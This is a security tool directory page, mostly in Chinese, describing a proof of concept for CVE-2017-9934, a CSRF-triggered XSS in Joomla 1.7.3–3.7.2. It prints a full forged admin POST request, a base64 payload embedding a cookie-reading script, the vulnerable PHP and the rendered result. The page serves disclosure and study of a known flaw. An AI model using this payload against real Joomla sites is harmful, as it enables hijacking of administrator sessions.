Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-9934 — Joomla 1.7.3 - 3.7.2 CSRF exploit PoC | Kitploit
工具/GitHubGitHub/xyringe/cve-2017-9934
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubxyringe/cve-2017-9934

CVE-2017-9934

Joomla 1.7.3 - 3.7.2 CSRF exploit PoC

查看仓库
8年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-9934 (我是此漏洞的提交者,署名:Envo)

Joomla 1.7.3 - 3.7.2 CSRF 漏洞利用 PoC

此漏洞的产生是由于 Joomla 1.7.3 至 3.7.2 版本未对 base64 输入进行清理。

#Headers:

root@kitploit:~
POST http://localhost/joomla/administrator/index.php?option=com_menus&view=item&client_id=0&layout=edit&id=0 HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 566
Cookie: 3139abcd402999f=ta0bmfak9faak44p4; joomla_user_state=logged_in; 8c7ff64bf1d0e216ccd4dd8c1e9745a3=4ebun9a72bolept9769d1tghu5; f8e2a3a5e2367dd628addf598dc92792=mc5g9gc7khdsa15jhijjaifrh1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: localhost

jform%5Bparams%5D%5Bmenu_show%5D=1&jform%5Bparams%5D%5Bmenu_text%5D=1&jform%5Bparams%5D%5Bsecure%5D=0&jform%5Btype%5D=eyJpZCI6MCwidGl0bGUiOiJjb21wb25lbnQiLCJyZXF1ZXN0Ijp7Im9wdGlvbiI6ImNvbV9mb288c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4ifX0%3D&jform%5Btemplate_style_id%5D=0&jform%5BbrowserNav%5D=0&jform%5Bid%5D=0&jform%5Bmenutype%5D=mainmenu&jform%5Bparent_id%5D=1&jform%5Bpublished%5D=1&jform%5Bhome%5D=0&jform%5Baccess%5D=1&jform%5Blanguage%5D=*&jform%5Btoggle_modules_assigned%5D=1&jform%5Btoggle_modules_published%5D=1&task=item.setType&fieldtype=type

上述请求中的 'task' 参数触发了 /administrator/components/com_menus/controllers/item.php 中的控制器函数 setType(),该函数不需要 CSRF 令牌。此函数接受另一个参数('jform[type]')中的 base64 输入,并将其解码为 JSON 数据,未经清理。如果我们构造如下的 JSON:

#Base64: 

eyJpZCI6MCwidGl0bGUiOiJjb21wb25lbnQiLCJyZXF1ZXN0Ijp7Im9wdGlvbiI6ImNvbV9mb288c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4ifX0=

root@kitploit:~
#JSON:

{"id":0,"title":"component","request":{"option":"com_foo"}}

我们可以在 /libraries/cms/component/helper.php 的 load() 函数中触发一个错误。$option 变量包含我们的有效载荷,该变量未经清理直接打印到屏幕上,导致 XSS:

root@kitploit:~

if (JFactory::$language)
{
    $msg = JText::sprintf('JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING', $option, JText::_('JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND'));
}
else
{
    $msg = sprintf('Error loading component: %1$s, %2$s', $option, 'Component not found.');
}

Rendered:

<h4 class="alert-heading">Warning</h4>
   <div class="alert-message">Error loading component: com_foo<script>alert(document.cookie)</script>, Component not found.</div>

本仓库中提供了 HTML 页面 PoC。

下载工具